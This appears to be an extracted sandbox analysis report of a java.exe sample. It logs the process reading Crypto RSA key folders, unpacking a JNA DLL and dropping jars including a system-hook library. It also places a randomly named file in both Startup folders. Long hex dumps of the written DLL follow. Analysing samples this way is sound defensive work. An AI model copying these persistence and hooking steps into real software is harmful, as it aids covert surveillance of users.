non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

Analysis Process: java.exe PID: 720 Parent PID: 3164Analysis Process: java.exe PID: 720 Parent PID: 3164

General

File CreatedFile Created
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C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 6DD57663 unknown

C:\Users\user\AppData\Local\Temp\jna-99048687\jna72354671473
41798336.dll

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 6DD580CF CreateFileW

C:\Users\user\AppData\Local\Temp\jna-99048687\jna72354671473
41798336.dll.x

read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 6DD580CF CreateFileW

C:\Users\user\AppData\Roaming\lib read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 6DD5845C CreateDirectoryW

C:\Users\user\AppData\Roaming\lib\jna-5.5.0.jar read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\AppData\Roaming\lib\jna-platform-5.5.0.jar read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\AppData\Roaming\lib\sqlite-jdbc-3.14.2.1.jar read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\AppData\Roaming\lib\system-hook-3.5.jar read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\P
rograms\Startup\vmlpusjwhz.txt

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
\vmlpusjwhz.txt

read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 6DD59D3D CreateFileW

File Path Access Attributes Options Completion Count
Source
Address Symbol

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll cannot delete 1 6DD58173 DeleteFileW

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll cannot delete 1 6DD58173 DeleteFileW

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 34 31 34 33 
30 36 38 38 35 34 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161414306885
4..

success or wait 1 6DD59FBC WriteFile

File DeletedFile Deleted

File WrittenFile Written
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C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 4d 5a 90 00 03 00 00 
00 04 00 00 00 ff ff 00 
00 b8 00 00 00 00 00 
00 00 40 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 00 00 00 00 
00 00 00 10 01 00 00 
0e 1f ba 0e 00 b4 09 
cd 21 b8 01 4c cd 21 
54 68 69 73 20 70 72 
6f 67 72 61 6d 20 63 
61 6e 6e 6f 74 20 62 
65 20 72 75 6e 20 69 
6e 20 44 4f 53 20 6d 
6f 64 65 2e 0d 0d 0a 
24 00 00 00 00 00 00 
00 42 15 17 47 06 74 
79 14 06 74 79 14 06 
74 79 14 b2 e8 88 14 
0d 74 79 14 b2 e8 8a 
14 7e 74 79 14 b2 e8 
8b 14 1e 74 79 14 54 
1c 7c 15 1a 74 79 14 
54 1c 7d 15 09 74 79 
14 54 1c 7a 15 14 74 
79 14 db 8b b2 14 03 
74 79 14 06 74 78 14 
5b 74 79 14 95 1d 7a 
15 07 74 79 14 06 74 
79 14 07 74 79 14 95 
1d 7d 15 01 74 79 14 
95 1d 79 15 07 74 79 
14 95 1d 7b 15 07 74 
79 14 52 69 63 68 06 
74 79 

MZ......................@.....
..............................
............!..L.!This program 
cannot be run in DOS 
mode....
$.......B..G.ty..ty..ty......t
y.....~ty......ty.T.|..ty.T.}.
.ty.T.z..ty......ty..tx.[ty...
z..ty..ty..ty...}..ty...y..ty...
{..ty.Rich.ty

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 cc cc cc cc cc cc cc 
cc cc cc cc cc cc cc 
cc cc cc cc cc cc cc 
cc cc cc cc cc cc cc 
cc cc cc cc 55 8b ec 
83 ec 14 c7 45 f4 04 
00 01 00 68 04 00 01 
00 8d 45 f8 50 8b 4d 
08 51 8b 55 08 8b 02 
8b 48 18 ff d1 85 c0 
75 09 c7 45 f0 01 00 
00 00 eb 07 c7 45 f0 
00 00 00 00 8b 55 f0 
89 55 ec 83 7d ec 00 
75 37 6a 00 8d 45 f8 
50 8b 4d 08 51 8b 55 
08 8b 02 8b 48 10 ff 
d1 85 c0 74 1f 68 c0 
10 03 10 6a 02 e8 c9 
5d 01 00 83 c4 04 50 
e8 df bf 00 00 83 c4 
08 33 c0 e9 a5 00 00 
00 8b 55 f8 52 e8 4c 
88 00 00 83 c4 04 89 
45 fc 83 7d fc 00 74 
25 8b 45 fc 50 68 f0 
10 03 10 6a 02 e8 91 
5d 01 00 83 c4 04 50 
e8 a7 bf 00 00 83 c4 
0c c7 45 f4 00 00 00 
00 eb 38 8b 4d f8 51 
e8 a2 c0 00 00 83 c4 
04 89 45 fc 83 7d fc 
00 74 23 8b 55 fc 52 
68 14 11 03 10 6a 02 
e8 57 5d 01 00 83 c4 
04 50 e8 

..............................

..U......E.....h.....E.P.M.Q.U

....H.....u..E........E......U

..U..}..u7j..E.P.M.Q.U....H..

...t.h....j...].....P........3.

......U.R.L.......E..}..t%.E.P
h....j...].....P.........E....
..8.M.Q.........E..}..t#.U.Rh.
...j..W].....P.

success or wait 103 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 ff ff 00 00 00 00 c7 05 
d4 22 03 10 00 00 00 
00 c7 05 d8 22 03 10 
00 00 00 00 83 bd 4c 
ff ff ff 00 75 2a 8b 45 
08 50 8b 4d 08 8b 11 
8b 42 14 ff d0 85 c0 
74 18 68 a0 11 03 10 
6a 02 e8 10 5a 01 00 
83 c4 04 50 e8 26 bc 
00 00 83 c4 08 8b 4d 
fc 33 cd e8 91 35 01 
00 8b e5 5d c2 08 00 
cc cc cc 55 8b ec 81 
ec 3c 01 00 00 a1 74 
19 03 10 33 c5 89 45 
fc 68 80 f9 02 10 8b 
45 08 50 8b 4d 08 8b 
11 8b 42 18 ff d0 a3 
9c 21 03 10 83 3d 9c 
21 03 10 00 74 67 83 
3d 9c 21 03 10 00 75 
0c c7 85 cc fe ff ff 00 
00 00 00 eb 49 8b 0d 
9c 21 03 10 51 8b 55 
08 52 8b 45 08 8b 08 
8b 91 88 03 00 00 ff 
d2 a3 9c 21 03 10 83 
3d 9c 21 03 10 00 75 
0c c7 85 ec fe ff ff 00 
00 00 00 eb 0b a1 9c 
21 03 10 89 85 ec fe ff 
ff 8b 8d ec fe ff ff 89 
8d cc fe ff ff 83 bd cc 
fe ff ff 00 75 1b 68 94 
f9 02 

........."........."........L.

...u*.E.P.M....B.....t.h....j.

..Z.....P.&.......M.3...5....]

......U....<....t...3..E.h....

.E.P.M....B.....!...=.!...tg.=

.!...u............I...!..Q.U.R

.E.............!...=.!...u....

...........!..................

.........u.h...

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 a4 21 03 10 83 3d a4 
21 03 10 00 74 67 83 
3d a4 21 03 10 00 75 
0c c7 85 5c ff ff ff 00 
00 00 00 eb 49 a1 a4 
21 03 10 50 8b 4d 08 
51 8b 55 08 8b 02 8b 
88 88 03 00 00 ff d1 
a3 a4 21 03 10 83 3d 
a4 21 03 10 00 75 0c 
c7 85 60 ff ff ff 00 00 
00 00 eb 0c 8b 15 a4 
21 03 10 89 95 60 ff ff 
ff 8b 85 60 ff ff ff 89 85 
5c ff ff ff 83 bd 5c ff ff 
ff 00 75 1b 68 b4 fd 02 
10 68 e4 ff 02 10 8b 
4d 08 51 e8 b9 3d 00 
00 83 c4 0c e9 25 0f 
00 00 68 8c fe 02 10 
68 a4 fe 02 10 8b 15 
a4 21 03 10 52 8b 45 
08 50 8b 4d 08 8b 11 
8b 82 84 00 00 00 ff 
d0 a3 6c 22 03 10 83 
3d 6c 22 03 10 00 74 
0e 8b 0d 6c 22 03 10 
89 8d 58 ff ff ff eb 0a 
c7 85 58 ff ff ff 00 00 
00 00 83 bd 58 ff ff ff 
00 75 1b 68 10 00 03 
10 68 50 00 03 10 8b 
55 08 52 e8 4d 3d 00 
00 83 c4 0c e9 b9 0e 
00 00 68 34 ff 02 

.!...=.!...tg.=.!...u...\.....

...I..!..P.M.Q.U.............!

...=.!...u...`............!...

.`.....`.....\.....\....u.h...

.h.....M.Q..=......%...h....h.

......!..R.E.P.M............l"

...=l"...t...l"....X.......X..

.......X....u.h....hP....U.R.M
=..........h4..

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 8b 0d b8 21 03 10 51 
8b 55 08 52 8b 45 08 
8b 08 8b 91 84 00 00 
00 ff d2 a3 8c 22 03 
10 83 3d 8c 22 03 10 
00 74 0d a1 8c 22 03 
10 89 85 14 ff ff ff eb 
0a c7 85 14 ff ff ff 00 
00 00 00 83 bd 14 ff ff 
ff 00 75 1b 68 70 08 
03 10 68 b0 08 03 10 
8b 4d 08 51 e8 e7 35 
00 00 83 c4 0c e9 53 
07 00 00 68 d0 08 03 
10 8b 55 08 52 8b 45 
08 8b 08 8b 51 18 ff 
d2 a3 bc 21 03 10 83 
3d bc 21 03 10 00 74 
67 83 3d bc 21 03 10 
00 75 0c c7 85 0c ff ff 
ff 00 00 00 00 eb 49 
a1 bc 21 03 10 50 8b 
4d 08 51 8b 55 08 8b 
02 8b 88 88 03 00 00 
ff d1 a3 bc 21 03 10 
83 3d bc 21 03 10 00 
75 0c c7 85 10 ff ff ff 
00 00 00 00 eb 0c 8b 
15 bc 21 03 10 89 95 
10 ff ff ff 8b 85 10 ff ff 
ff 89 85 0c ff ff ff 83 bd 
0c ff ff ff 00 75 1b 68 
e8 08 03 10 68 14 09 
03 10 8b 4d 08 51 e8 
44 35 00 00 83 c4 0c 

...!..Q.U.R.E............."...
=."...t..."...................
........u.hp...h.....M.Q..5...
...S...h.....U.R.E....Q.....!.
..=.!...tg.=.!...u............
I..!..P.M.Q.U.............!...
=.!...u................!......
.....................u.h....h.
....M.Q.D5.....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 10 31 45 f8 33 c5 50 
8d 45 f0 64 a3 00 00 
00 00 89 65 e8 0f 57 
c0 f2 0f 11 45 dc 9b c7 
45 fc 00 00 00 00 6a 
08 8b 45 14 03 45 1c 
50 8d 4d dc 51 e8 4b 
0a 01 00 83 c4 0c 9b 
c7 45 fc fe ff ff ff eb 3d 
83 3d 00 e0 02 10 00 
74 09 c7 45 e4 01 00 
00 00 eb 07 c7 45 e4 
00 00 00 00 8b 45 e4 
c3 8b 65 e8 68 8c f6 
02 10 68 a4 f6 02 10 
8b 55 08 52 e8 cb 09 
00 00 83 c4 0c c7 45 
fc fe ff ff ff 33 c0 75 98 
dd 45 dc 8b 4d f0 64 
89 0d 00 00 00 00 59 
5f 5e 5b 8b e5 5d c2 
1c 00 cc cc cc cc cc 
cc 55 8b ec 6a fe 68 
d8 bd 02 10 68 a0 5d 
01 10 64 a1 00 00 00 
00 50 83 c4 f0 53 56 
57 a1 74 19 03 10 31 
45 f8 33 c5 50 8d 45 
f0 64 a3 00 00 00 00 
89 65 e8 c7 45 e0 00 
00 00 00 c7 45 fc 00 
00 00 00 6a 04 8b 45 
10 50 8d 4d e0 51 e8 
90 09 01 00 83 c4 0c 
c7 45 fc fe ff ff ff eb 3d 
83 3d 00 

.1E.3.P.E.d......e..W....E...
E.....j..E..E.P.M.Q.K........E.
.....=.=.....t..E........E....
..E...e.h....h.....U.R........
.E.....3.u..E..M.d......Y_^[..
].........U..j.h....h.]..d....
.P...SVW.t...1E.3.P.E.d......
e..E......E.....j..E.P.M.Q.....
....E......=.=.

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol
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C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 8b ec 51 83 7d 0c 00 
74 41 8b 45 0c 50 8b 
4d 08 51 e8 d9 fc ff ff 
83 c4 08 89 45 fc 6a 
01 8b 55 fc 52 8b 45 
10 50 8b 0d 7c 22 03 
10 51 8b 15 b0 21 03 
10 52 8b 45 08 50 8b 
4d 08 8b 11 8b 82 c8 
01 00 00 ff d0 83 c4 
18 eb 02 33 c0 8b e5 
5d c3 cc cc cc cc cc 
cc cc cc cc cc cc cc 
cc cc cc 55 8b ec 51 
83 7d 0c 00 74 57 0f 
b6 45 10 50 8b 4d 0c 
51 8b 15 84 22 03 10 
52 a1 b0 21 03 10 50 
8b 4d 08 51 8b 55 08 
8b 02 8b 88 c8 01 00 
00 ff d1 83 c4 14 89 
45 fc 8b 55 08 52 8b 
45 08 8b 08 8b 91 90 
03 00 00 ff d2 0f b6 c0 
85 c0 75 12 8b 4d fc 
51 8b 55 08 52 e8 14 
00 00 00 83 c4 08 eb 
02 33 c0 8b e5 5d c3 
cc cc cc cc cc cc cc 
cc cc 55 8b ec 83 7d 
0c 00 74 1d a1 bc 22 
03 10 50 8b 4d 0c 51 
8b 55 08 52 8b 45 08 
8b 08 8b 91 94 01 00 
00 ff d2 eb 02 33 c0 
5d c3 cc cc cc cc cc 
cc 

..Q.}..tA.E.P.M.Q.........E.j.

.U.R.E.P..|"..Q...!..R.E.P.M

................3...]...........

.....U..Q.}..tW..E.P.M.Q..."..
R..!..P.M.Q.U...............E.
.U.R.E................u..M.Q.U
.R..........3...]..........U..
.}..t..."..P.M.Q.U.R.E........
.....3.].......

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 03 10 52 8b 45 08 50 
8b 4d 08 8b 11 8b 82 
c8 01 00 00 ff d0 83 
c4 14 eb 02 33 c0 8b 
e5 5d c3 55 8b ec 83 
ec 1c 8b 45 08 8b 48 
50 89 4d f8 c7 45 f4 
00 00 00 00 68 04 00 
01 00 8d 55 fc 52 8b 
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c0 75 09 c7 45 f0 01 
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f0 00 00 00 00 8b 4d 
f0 89 4d e8 83 7d e8 
00 75 37 6a 00 8d 55 
fc 52 8b 45 f8 50 8b 
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02 10 8b 55 08 52 e8 
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ff ff 89 11 8b 85 ec f7 
ff ff c1 e0 02 8b 8d d4 
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89 14 01 33 c0 0f 85 
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08 74 05 33 c0 40 5d 
c3 a8 

.t)...t ...t....t....t....urj.

..j...j...j...j._Q.F.PW.......

...uG.K....t....t....t..e.....
E..F........]..E..F.P.F.PQW..|
...P.E.P.B........|...h....Q..
....>.YYt........t.V.....Y..u..6. 
...Y.M._3.^.......]..[...U
..QQ.E....]..E...]...U...E.. t
.j.....t.3.@]..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
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unknown 1024 0d 00 00 c0 89 48 08 
8b 45 08 89 48 0c 8b 
4d 10 f6 c1 10 74 0b 
8b 45 08 bf 8f 00 00 
c0 09 58 04 f6 c1 02 
74 0c 8b 45 08 bf 93 
00 00 c0 83 48 04 02 
f6 c1 01 74 0c 8b 45 
08 bf 91 00 00 c0 83 
48 04 04 f6 c1 04 74 
0c 8b 45 08 bf 8e 00 
00 c0 83 48 04 08 f6 
c1 08 74 0c 8b 45 08 
bf 90 00 00 c0 83 48 
04 10 8b 4d 08 56 8b 
75 0c 8b 06 c1 e0 04 
f7 d0 33 41 08 83 e0 
10 31 41 08 8b 4d 08 
8b 06 03 c0 f7 d0 33 
41 08 83 e0 08 31 41 
08 8b 4d 08 8b 06 d1 
e8 f7 d0 33 41 08 83 
e0 04 31 41 08 8b 4d 
08 8b 06 c1 e8 03 f7 
d0 33 41 08 83 e0 02 
31 41 08 8b 06 8b 4d 
08 c1 e8 05 f7 d0 33 
41 08 23 c3 31 41 08 
e8 54 f9 ff ff 8b d0 f6 
c2 01 74 07 8b 4d 08 
83 49 0c 10 f6 c2 04 
74 07 8b 45 08 83 48 
0c 08 f6 c2 08 74 07 
8b 45 08 83 48 0c 04 
f6 c2 10 74 07 8b 45 
08 83 48 0c 02 f6 c2 
20 74 

.....H..E..H..M....t..E.......
X....t..E.......H.....t..E....
...H.....t..E.......H.....t..E
.......H...M.V.u........3A....
1A..M.......3A....1A..M.......
3A....1A..M........3A....1A...
.M......3A.#.1A..T........t..M
..I.....t..E..H.....t..E..H...
..t..E..H.... t

success or wait 1 6DD59FBC WriteFile
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unknown 1024 45 0e 10 75 1f 03 c9 
89 4d 0c 85 d2 79 06 
83 c9 01 89 4d 0c 03 
d2 4f f6 45 0e 10 74 
e8 66 8b 75 0e 89 55 
08 b9 ef ff 00 00 66 23 
f1 66 89 75 0e 85 c0 
74 0c b8 00 80 00 00 
66 0b f0 66 89 75 0e 
dd 45 08 6a 00 51 51 
dd 1c 24 e8 31 00 00 
00 83 c4 0c eb 23 6a 
00 51 dd d8 51 dd 1c 
24 e8 1e 00 00 00 0f 
b7 fe 83 c4 0c c1 ef 04 
81 e7 ff 07 00 00 81 ef 
fe 03 00 00 5e 8b 45 
10 89 38 5f 5d c3 8b ff 
55 8b ec 51 51 8b 4d 
10 0f b7 45 0e dd 45 
08 25 0f 80 00 00 dd 
5d f8 8d 89 fe 03 00 
00 c1 e1 04 0b c8 66 
89 4d fe dd 45 f8 8b 
e5 5d c3 8b ff 55 8b 
ec 81 7d 0c 00 00 f0 
7f 8b 45 08 75 07 85 
c0 75 15 40 5d c3 81 
7d 0c 00 00 f0 ff 75 09 
85 c0 75 05 6a 02 58 
5d c3 66 8b 4d 0e ba 
f8 7f 00 00 66 23 ca 
66 3b ca 75 04 6a 03 
eb e8 ba f0 7f 00 00 
66 3b ca 75 11 f7 45 
0c ff ff 07 00 

E..u....M...y.....M...O.E..t.f
.u..U......f#.f.u...t......f..
f.u..E.j.QQ..$.1.......#j.Q..Q
..$..........................^
.E..8_]...U..QQ.M...E..E.%.
....]............f.M..E...]...U..
.}......E.u...u.@]..}.....u...
u.j.X].f.M......f#.f;.u.j.....
...f;.u..E.....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
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unknown 1024 cc cc 57 56 55 33 ff 
33 ed 8b 44 24 14 0b 
c0 7d 15 47 45 8b 54 
24 10 f7 d8 f7 da 83 
d8 00 89 44 24 14 89 
54 24 10 8b 44 24 1c 
0b c0 7d 14 47 8b 54 
24 18 f7 d8 f7 da 83 
d8 00 89 44 24 1c 89 
54 24 18 0b c0 75 28 
8b 4c 24 18 8b 44 24 
14 33 d2 f7 f1 8b d8 
8b 44 24 10 f7 f1 8b f0 
8b c3 f7 64 24 18 8b 
c8 8b c6 f7 64 24 18 
03 d1 eb 47 8b d8 8b 
4c 24 18 8b 54 24 14 
8b 44 24 10 d1 eb d1 
d9 d1 ea d1 d8 0b db 
75 f4 f7 f1 8b f0 f7 64 
24 1c 8b c8 8b 44 24 
18 f7 e6 03 d1 72 0e 
3b 54 24 14 77 08 72 
0f 3b 44 24 10 76 09 
4e 2b 44 24 18 1b 54 
24 1c 33 db 2b 44 24 
10 1b 54 24 14 4d 79 
07 f7 da f7 d8 83 da 
00 8b ca 8b d3 8b d9 
8b c8 8b c6 4f 75 07 f7 
da f7 d8 83 da 00 5d 
5e 5f c2 10 00 cc 80 f9 
40 73 15 80 f9 20 73 
06 0f ad d0 d3 ea c3 
8b c2 33 d2 80 e1 1f 
d3 e8 c3 33 c0 33 

..WVU3.3..D$...}.GE.T$.....

...

.D$..T$..D$...}.G.T$.........D
$..T$...u(.L$..D$.3......D$...
.....d$......d$....G...L$..T$.
.D$...........u......d$....D$.
....r.;T$.w.r.;D$.v.N+D$..T$
.3
.+D$..T$.My..................O
u........]^_......@s... s.....
....3.......3.3

success or wait 1 6DD59FBC WriteFile
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unknown 1024 02 10 b4 66 02 10 d4 
66 02 10 fc 66 02 10 
18 67 02 10 28 67 02 
10 2c 67 02 10 34 67 
02 10 44 67 02 10 68 
67 02 10 70 67 02 10 
7c 67 02 10 8c 67 02 
10 a8 67 02 10 c8 67 
02 10 f0 67 02 10 18 
68 02 10 40 68 02 10 
6c 68 02 10 88 68 02 
10 ac 68 02 10 d0 68 
02 10 fc 68 02 10 28 
69 02 10 44 69 02 10 
54 69 02 10 96 64 02 
10 68 69 02 10 7c 69 
02 10 98 69 02 10 ac 
69 02 10 cc 69 02 10 
5f 5f 62 61 73 65 64 
28 00 00 00 00 5f 5f 
63 64 65 63 6c 00 5f 
5f 70 61 73 63 61 6c 
00 00 00 00 5f 5f 73 
74 64 63 61 6c 6c 00 
00 00 5f 5f 74 68 69 
73 63 61 6c 6c 00 00 
5f 5f 66 61 73 74 63 
61 6c 6c 00 00 5f 5f 
76 65 63 74 6f 72 63 
61 6c 6c 00 00 00 00 
5f 5f 63 6c 72 63 61 
6c 6c 00 00 00 5f 5f 
65 61 62 69 00 00 5f 
5f 73 77 69 66 74 5f 
31 00 00 00 5f 5f 73 
77 69 66 74 5f 32 00 
00 00 5f 

...f...f...f...g..(g..,g..4g..
Dg..hg..pg..|g...g...g...g...g
...h..@h..lh...h...h...h...h..
(i..Di..Ti...d..hi..|i...i...i
...i..__based(....__cdecl.__
pa
scal....__stdcall...__thiscall
..__fastcall..__vectorcall....
__clrcall...__eabi..__swift_
1...__swift_2..._

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 00 00 20 64 65 6c 65 
74 65 5b 5d 00 00 00 
60 6f 6d 6e 69 20 63 
61 6c 6c 73 69 67 27 
00 00 60 70 6c 61 63 
65 6d 65 6e 74 20 64 
65 6c 65 74 65 20 63 
6c 6f 73 75 72 65 27 
00 00 60 70 6c 61 63 
65 6d 65 6e 74 20 64 
65 6c 65 74 65 5b 5d 
20 63 6c 6f 73 75 72 
65 27 00 00 00 00 60 
6d 61 6e 61 67 65 64 
20 76 65 63 74 6f 72 
20 63 6f 6e 73 74 72 
75 63 74 6f 72 20 69 
74 65 72 61 74 6f 72 
27 00 00 00 60 6d 61 
6e 61 67 65 64 20 76 
65 63 74 6f 72 20 64 
65 73 74 72 75 63 74 
6f 72 20 69 74 65 72 
61 74 6f 72 27 00 00 
00 00 60 65 68 20 76 
65 63 74 6f 72 20 63 
6f 70 79 20 63 6f 6e 
73 74 72 75 63 74 6f 
72 20 69 74 65 72 61 
74 6f 72 27 00 00 00 
60 65 68 20 76 65 63 
74 6f 72 20 76 62 61 
73 65 20 63 6f 70 79 
20 63 6f 6e 73 74 72 
75 63 74 6f 72 20 69 
74 65 72 61 74 6f 72 
27 00 60 

.. delete[]...`omni callsig'..
`placement delete 
closure'..`placement 
delete[] closure'....
`managed vector 
constructor it
erator'...`managed vector 
destructor iterator'....`eh 
vector copy constructor 
iterator'...`eh vector vbase 
copy constructor iterator'.`

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 07 08 00 07 00 28 
6e 75 6c 6c 29 00 00 
28 00 6e 00 75 00 6c 
00 6c 00 29 00 00 00 
00 00 00 00 00 00 05 
00 00 c0 0b 00 00 00 
00 00 00 00 1d 00 00 
c0 04 00 00 00 00 00 
00 00 96 00 00 c0 04 
00 00 00 00 00 00 00 
8d 00 00 c0 08 00 00 
00 00 00 00 00 8e 00 
00 c0 08 00 00 00 00 
00 00 00 8f 00 00 c0 
08 00 00 00 00 00 00 
00 90 00 00 c0 08 00 
00 00 00 00 00 00 91 
00 00 c0 08 00 00 00 
00 00 00 00 92 00 00 
c0 08 00 00 00 00 00 
00 00 93 00 00 c0 08 
00 00 00 00 00 00 00 
b4 02 00 c0 08 00 00 
00 00 00 00 00 b5 02 
00 c0 08 00 00 00 00 
00 00 00 0c 00 00 00 
03 00 00 00 09 00 00 
00 6d 00 73 00 63 00 
6f 00 72 00 65 00 65 
00 2e 00 64 00 6c 00 
6c 00 00 00 43 6f 72 
45 78 69 74 50 72 6f 
63 65 73 73 00 00 00 
00 00 00 0a a6 01 10 
00 00 00 00 41 a6 01 
10 00 00 00 00 6a b9 
01 10 17 

......(null)..(.n.u.l.l.).....

..............................

..............................

..............................

..............................

..............................

..........m.s.c.o.r.e.e...d.l.
l...CorExitProcess............
..A.......j....

success or wait 1 6DD59FBC WriteFile

C:\Users\user\AppData\Local\Temp\jna-
99048687\jna7235467147341798336.dll

unknown 1024 69 00 6c 00 65 00 2d 
00 6c 00 32 00 2d 00 
31 00 2d 00 31 00 00 
00 00 00 00 00 61 00 
70 00 69 00 2d 00 6d 
00 73 00 2d 00 77 00 
69 00 6e 00 2d 00 63 
00 6f 00 72 00 65 00 
2d 00 6c 00 6f 00 63 
00 61 00 6c 00 69 00 
7a 00 61 00 74 00 69 
00 6f 00 6e 00 2d 00 
6c 00 31 00 2d 00 32 
00 2d 00 31 00 00 00 
61 00 70 00 69 00 2d 
00 6d 00 73 00 2d 00 
77 00 69 00 6e 00 2d 
00 63 00 6f 00 72 00 
65 00 2d 00 6c 00 6f 
00 63 00 61 00 6c 00 
69 00 7a 00 61 00 74 
00 69 00 6f 00 6e 00 
2d 00 6f 00 62 00 73 
00 6f 00 6c 00 65 00 
74 00 65 00 2d 00 6c 
00 31 00 2d 00 32 00 
2d 00 30 00 00 00 00 
00 00 00 00 00 61 00 
70 00 69 00 2d 00 6d 
00 73 00 2d 00 77 00 
69 00 6e 00 2d 00 63 
00 6f 00 72 00 65 00 
2d 00 70 00 72 00 6f 
00 63 00 65 00 73 00 
73 00 74 00 68 00 72 
00 65 00 61 00 64 00 
73 00 2d 

i.l.e.-.l.2.-.1.-.1.......a.p.i.-
.m.s.-.w.i.n.-.c.o.r.e.-.l.
o.c.a.l.i.z.a.t.i.o.n.-.l.1.-.2.-
.1...a.p.i.-.m.s.-.w.i.n.-.
c.o.r.e.-.l.o.c.a.l.i.z.a.t.i.
o.n.-.o.b.s.o.l.e.t.e.-.l.1.-.2.-
.0.........a.p.i.-.m.s.-.w.i.n.-
.c.o.r.e.-.p.r.o.c.e.s.s.
t.h.r.e.a.d.s.-

success or wait 2 6DD59FBC WriteFile
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unknown 1024 00 00 75 00 73 00 65 
00 72 00 33 00 32 00 
00 00 00 00 02 00 00 
00 12 00 00 00 46 6c 
73 41 6c 6c 6f 63 00 
00 00 00 02 00 00 00 
12 00 00 00 46 6c 73 
46 72 65 65 00 02 00 
00 00 12 00 00 00 46 
6c 73 47 65 74 56 61 
6c 75 65 00 02 00 00 
00 12 00 00 00 46 6c 
73 53 65 74 56 61 6c 
75 65 00 00 00 00 00 
0e 00 00 00 47 65 74 
43 75 72 72 65 6e 74 
50 61 63 6b 61 67 65 
49 64 00 08 00 00 00 
12 00 00 00 49 6e 69 
74 69 61 6c 69 7a 65 
43 72 69 74 69 63 61 
6c 53 65 63 74 69 6f 
6e 45 78 00 04 00 00 
00 12 00 00 00 4c 43 
4d 61 70 53 74 72 69 
6e 67 45 78 00 00 00 
04 00 00 00 12 00 00 
00 4c 6f 63 61 6c 65 
4e 61 6d 65 54 6f 4c 
43 49 44 00 00 00 00 
49 4e 46 00 69 6e 66 
00 4e 41 4e 00 6e 61 
6e 00 4e 41 4e 28 53 
4e 41 4e 29 00 00 00 
6e 61 6e 28 73 6e 61 
6e 29 00 00 00 4e 41 
4e 28 49 

..u.s.e.r.3.2.............FlsA
lloc............FlsFree.......
..FlsGetValue.........FlsSet
Va
lue.........GetCurrentPacka
geI
d.........InitializeCriticalSe
ctionEx.........LCMapString
Ex.
..........LocaleNameToLCID
....
INF.inf.NAN.nan.NAN(SN
AN)...nan(snan)...NAN(I

success or wait 1 6DD59FBC WriteFile
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unknown 1024 00 00 60 8a 02 10 44 
00 00 00 68 8a 02 10 
46 00 00 00 70 8a 02 
10 47 00 00 00 78 8a 
02 10 49 00 00 00 80 
8a 02 10 4a 00 00 00 
88 8a 02 10 4b 00 00 
00 90 8a 02 10 4e 00 
00 00 98 8a 02 10 4f 
00 00 00 a0 8a 02 10 
50 00 00 00 a8 8a 02 
10 56 00 00 00 b0 8a 
02 10 57 00 00 00 b8 
8a 02 10 5a 00 00 00 
c0 8a 02 10 65 00 00 
00 c8 8a 02 10 7f 00 
